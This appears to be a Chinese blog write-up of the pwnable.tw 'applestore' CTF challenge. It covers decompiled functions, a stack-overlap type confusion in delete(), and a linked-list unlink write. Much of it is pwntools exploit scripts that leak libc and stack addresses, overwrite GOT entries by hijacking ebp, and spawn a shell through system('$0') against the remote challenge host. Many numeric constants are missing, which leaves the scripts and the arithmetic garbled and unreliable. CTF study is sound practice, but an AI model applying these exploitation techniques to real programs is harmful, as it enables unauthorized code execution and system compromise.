pwnable.tw applestore
I is so vegetable:(,我tcl又由于忙于毕设和各种比赛各种耽误,到今天才真正把这题搞出来
存储结构
0x804B070链表头
struct _mycart_binlist
{
int *name; //ebp-0x20
int price; //ebp-0x1c
struct _mycart_binlist *next; //ebp-0x18
struct _mycart_binlist *pre; //ebp-0x14
}
insert
int __cdecl insert(int a1)
{
int result; // eax
_DWORD *i; // [esp+Ch] [ebp-4h] for ( i = &myCart; i[]; i = (_DWORD *)i[] )
;
i[] = a1; // the_last_mycart->next=inserted
result = a1;
*(_DWORD *)(a1 + ) = i; // inserted->pre=the_last_mycart
return result;
}
checkout
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch] v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = ; // price=1
insert((int)&v2);
v1 = ;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}
这里存在问题的应该是checkout的insert,用贪心的思想求解下v1=7174各个商品的数量
*=
*=
*=
*=
*=
*=
*=
*=
*=
*= -*=
100x+200y+300z= =>x+2y+3z=
x+y+z=
=>y+2z=
y= z=
x= c=
199x 299y 399z 499c
写个脚本验证下
from pwn import * context.log_level='DEBUG' p=process('./applestore') def add(idx):
p.sendlineafter('>','2')
p.sendlineafter('Device Number> ',str(idx)) for i in range(0,18):
add(1)
add(2)
for i in range(0,2):
add(4)
for i in range(0,5):
add(3) gdb.attach(p,gdbscript='b *0x08048B98\n') p.interactive()
这里存在的问题是delete时执行my_read直接在栈中保存输入的字符串引起一个类型混淆,利用delete双向链表的断链操作DWORD_SHOOT得到一个任意地址写的机会,修改GOT即可导致任意代码执行。
unsigned int delete()
{
signed int idx; // [esp+10h] [ebp-38h]
_DWORD *v2; // [esp+14h] [ebp-34h]
int delete_obj; // [esp+18h] [ebp-30h]
int next; // [esp+1Ch] [ebp-2Ch]
int pre; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch] v7 = __readgsdword(0x14u);
idx = ;
v2 = (_DWORD *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u); // 栈里边直接保存输入的字符串,虽然不会溢出,但这里会造成类型混淆
delete_obj = atoi(&nptr);
while ( v2 )
{
if ( idx == delete_obj )
{
next = v2[]; // next
pre = v2[]; // pre
if ( pre )
*(_DWORD *)(pre + ) = next; // victim->pre->next=victim->next
if ( next )
*(_DWORD *)(next + ) = pre; // victim->next->pre=victim->pre
printf("Remove %d:%s from your shopping cart.\n", idx, *v2);
return __readgsdword(0x14u) ^ v7;
}
++idx;
v2 = (_DWORD *)v2[];
}
return __readgsdword(0x14u) ^ v7;
}
这里引起类型混淆的本质原因是我们执行checkout插入的V2距离ebp为EBP-20H,执行完checkout只是抬高栈帧,并不会销毁函数栈;而此时我们调用delete,会在调用checkout结束的位置开辟栈帧,这样得到的函数栈就和checkout的函数栈重叠,而delete会在栈中直接保存输入的字符串(EBP-22H的位置),就会引起一次类型混淆
handler ebp___ 38h esp__
checkout ebp__ delete ebp__ 38h 48h
V2=ebp-20h nptr=ebp-22h esp__ esp__
DWORD_SHOT并不可行,如果我们如下构造struct执行DWORD_SHOT的话,虽然GOT表可写,但是由于双向链表断链过程会执行victim->pre=victim->next,即read@got会写入*system@got+12的位置,而*system@got+12位于libc text段,肯定不可写,这里会崩溃。
struct
{
*name => padding
price => padding
*nexe => read@got
*pre => system@got
}
以下脚本可以验证DWORD_SHOT不可行。so,how to get it pwned?
from pwn import * context.log_level='DEBUG' p=process('./applestore')
elf=ELF('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so') def add(idx):
p.sendlineafter('>','')
p.sendlineafter('Device Number> ',str(idx)) def delete(idx):
p.sendlineafter('>','')
p.sendlineafter('Item Number>',str(idx)) def checkout():
p.sendlineafter('>','')
p.sendlineafter('>','y') def cart(payload):
p.sendlineafter('>','')
p.sendlineafter('>',str(payload)) for i in range(,):
add()
add()
for i in range(,):
add()
for i in range(,):
add() checkout() payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc_base=read_got-libc.sym['read']
success('libc_base:'+hex(libc_base))
success('read_got:'+hex(read_got)) #gdb.attach(p,gdbscript='b *0x08048B98\n') #b insert()
gdb.attach(p,gdbscript='''
b *0x080489F0
break *0x080489FB if $[$ebp-0x38]==
''') #b delete_obj sys_got=libc_base+libc.sym['system']
success('system:'+hex(sys_got))
payload='\x32\x37\x00\x20'+'b'*+p32(read_got-)+p32(sys_got)
delete(payload) #gdb.attach(p,gdbscript='b *0x080489FB\n') p.interactive()
由于delete中我们有一次任意地址写的机会,而在执行完delete返回到handler时会再次引用栈内存ebp-0x22(在这个位置读入),所以我们考虑修改ebp的值,进而覆盖asprintf@got和atoi@got(这两个got的地址是相邻的),asprintf@got覆盖成'$0\x00\x00‘(4字节),atoi@got覆盖成sys_addr即可。这样在0x8048c16执行atoi时即执行system('$0')即可getshell
from pwn import * context.log_level='DEBUG' elf=ELF('./applestore')
local=
if local:
p=process('./applestore')
libc=ELF('/lib/i386-linux-gnu/libc-2.28.so')
else:
p=remote('chall.pwnable.tw',)
libc=ELF('./libc_32.so.6') def add(idx):
p.sendlineafter('>','')
p.sendlineafter('Device Number> ',str(idx)) def delete(idx):
p.sendlineafter('>','')
p.sendlineafter('Item Number>',str(idx)) def checkout():
p.sendlineafter('>','')
p.sendlineafter('>','y') def cart(payload):
p.sendlineafter('>','')
p.sendlineafter('>',str(payload)) for i in range(,):
add()
add()
for i in range(,):
add()
for i in range(,):
add() checkout() payload='y\x0a'+p32(elf.got['read'])+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
read_got=u32(p.recv())
libc.address=read_got-libc.sym['read']
env=libc.sym['environ']
success('libc_base:'+hex(libc.address))
success('read_got:'+hex(read_got)) payload='y\x0a'+p32(env)+p32()+p32()+p32()
cart(payload)
p.recvuntil('27: ')
stack_env=u32(p.recv())
success('stack_env:'+hex(stack_env))
ebp=stack_env-0x104
success('stack_ebp:'+hex(ebp)) asprintf_got=elf.got['asprintf']
atoi_got=elf.got['atoi']
sys=libc.sym['system']
payload=''+p32(sys)+p32()+p32(ebp-)+p32(asprintf_got+0x22) if local:
gdb.attach(p,gdbscript='''
b *0x080489F0\n
b *0x08048A6F\n
b *0x8048c0b\n
''')
pause()
delete(payload) p.recvuntil('from your shopping cart.')
payload='$0\x00\x00'+p32(sys)
p.sendline(payload) p.interactive()
pwnable.tw applestore的更多相关文章
- pwnable.tw applestore 分析
此题第一步凑齐7174进入漏洞地点 然后可以把iphone8的结构体中的地址通过read修改为一个.got表地址,这样就能把libc中该函数地址打出来.这是因为read函数并不会在遇到\x00时截断( ...
- pwnable.tw silver_bullet
产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...
- pwnable.tw hacknote
产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...
- pwnable.tw dubblesort
(留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...
- pwnable.tw calc
题目代码量比较大(对于菜鸡我来说orz),找了很久才发现一个能利用的漏洞 运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出 这里调试了一下发现是printf(&q ...
- pwnable.tw start&orw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- 【pwnable.tw】 starbound
此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...
- Pwnable.tw start
Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...
- pwnable.tw orw
orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题
随机推荐
- linux 禁用root登录
1.新建一个用户,用来登录 # useradd aaaaa (已添加用户名aaaaa为例). 2.设置密码(需要切换到root下进行设置) # cd /root # ls #passwd bbbb ...
- dpdk-18.11网卡多队列RSS设置
背景 最近在做将基于dpdk-16.11.1开发的程序,转移到基于dpdk-18.11版本下开发.遇到了网卡RSS配置的问题,在这里纪录一下. 问题 dpdk-16.11.1 在dpdk-16.11. ...
- arale-cookie 使用
https://www.npmjs.com/package/arale-cookie arale-cookie 使用 define(function() { var Cookie = require ...
- jstl的foreach标签
jsp支持丰富的jstl标签语言(需要jar包支持),其中list循环(迭代)用的是<c:forEach></c:forEach>标签. 这个标签的作用就是迭代输出标签内部的内 ...
- [转帖] Linux 时间参数
Linux下文件的三个时间参数 https://blog.csdn.net/GGxiaobai/article/details/53609478 想用touch修改创建时间呢 发现不知道怎么修改来着. ...
- C#给字符串赋予字面值——字符串插入、转义序列的使用
1.占位符.字符串插入 给字符串赋予字面值时,经常遇见在字符串中包含变量的情况,用连接符进行拼接.转换的方式比较麻烦.还容易出错.C#提供了较为便捷的处理方式,即‘占位符’,以及C#6的新功能‘插入字 ...
- nsx-edge虚拟机抓包实践
Edge抓包 今天在客户端进行故障排除时,我需要在环境中的一个边缘服务网关上执行包捕获.在诊断一系列不同的问题时,执行包捕获通常非常有用. 要启动包捕获,您可以跳到ESG的控制台,或者像我在本例中所做 ...
- java返回json设置自定义的格式
使用注解@JsonSerialize(using = CustomPriceSerialize.class) 创建自定义的格式化类(可为内部类) /** * 设置默认返回的小数类型(0.01 元) * ...
- 微信小程序授权登录
目录 自定义授权页面 点击授权登录后出现微信自带的授权登录弹窗 <!--index.wxml--> <!-- 授权界面 --> <cover-view class='au ...
- python1--计算机原理 操作系统 进制 内存分布
本周内容 '''第一天: 计算机原理 操作系统 第二天: 编程语言 python入门:环境 - 编辑器 变量 基本数据类型 '''``` ## 学习方法 ```python'''鸡汤 - 干货 ...